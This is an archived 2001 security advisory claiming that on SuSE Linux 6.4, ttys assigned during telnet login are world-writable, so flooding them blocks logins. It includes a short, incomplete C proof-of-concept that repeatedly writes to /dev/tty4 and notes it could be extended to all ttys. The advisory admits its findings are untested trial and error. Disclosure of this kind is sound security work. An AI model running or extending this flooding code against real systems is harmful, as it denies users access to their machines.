Type packetstorm
Reporter Root-dude
Modified 2001-01-01T00:00:00


Securax-SA-13 Security Advisory Dutch  
Topic: all tty's can be written to when connecting  
Announced: 2001-01-01  
Affects: SuSE linux 6.4  
probably all versions of unix (not tested)  
Note: This entire advisory has been based upon trial and error results. We  
can not ensure the information below is 100% correct being that we have  
no source code to audit. This document is subject to change without  
prior notice.  
I. Problem Description  
when someone telnets to a unix system, the tty that will be assigned to him  
will be writable for any user on the system. However, when he is logged in,  
his tty will not be writable for all users. So if someone would write data to  
a tty that is currently used by someone who's logging in, that person won't  
be able to log in.  
II. Impact  
The impact can be pretty severe, allowing no one to log in. the Proof of  
concept code I created will demonstrate this, but only on 1 given tty, this  
was done for 2 basic reasons, 1 so the kiddies can't play to much with this  
code and seconde that this was written in less than 5 minutes (there was a  
lack of time)  
* ttwrite.c  
* ---------  
* written by ROOT-dude  
* ok, this code is pretty shitty, but it works  
* so far it's only set to flood tty4, but with a  
* little modification, you can flood all tty's.  
* I made this limitation so the kiddies can't  
* play to much !!! (THIS IS ONLY PROOF OF  
* CONCEPT CODE !!!!)  
* I found this bug when I was messing around  
* with this tool I found, called  
* which did the same but for /dev/pts,  
* (that still isn't fixed btw) only "prob" is  
* pts is for pseudo terminals, so a normal  
* remote telnet connection will get a tty assinged  
* and not a pts !!!!  
* greetZ to :: incubus, f0bic, F_F, nostalgic,  
* t-omicron, zym0t1c, tosh, vorlon, cicero,  
* zoa, demongirl, so many others i forgot ...  
* oh, yea, I nor the securax crew can't he held  
* respronsible for any use or misuse of this  
* source in any way, form, OR shape !  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <string.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
#define string "aaaaaaaaaa"  
int fd;  
char tty[25];  
bzero(tty, sizeof(tty));  
strcat(tty, "/dev/tty4"); /* change to tty you want */  
fd = open(tty, O_WRONLY);  
while(fd < 0)  
fd = open(tty, O_WRONLY);  
write(fd, string, sizeof(string));  
close(fd); /* no need to close it, but we'll code it anyway !*/  
III. Solution  
So far the only solution I've come up with is to close telnet, and others  
servers like it !  
IV. Credits  
greetZ to :: incubus, f0bic, F_F, nostalgic, t-omicron, zym0t1c, tosh,   
vorlon, cicero, zoa, demongirl, so many others I forgot ...  
-R00T-dude( or  
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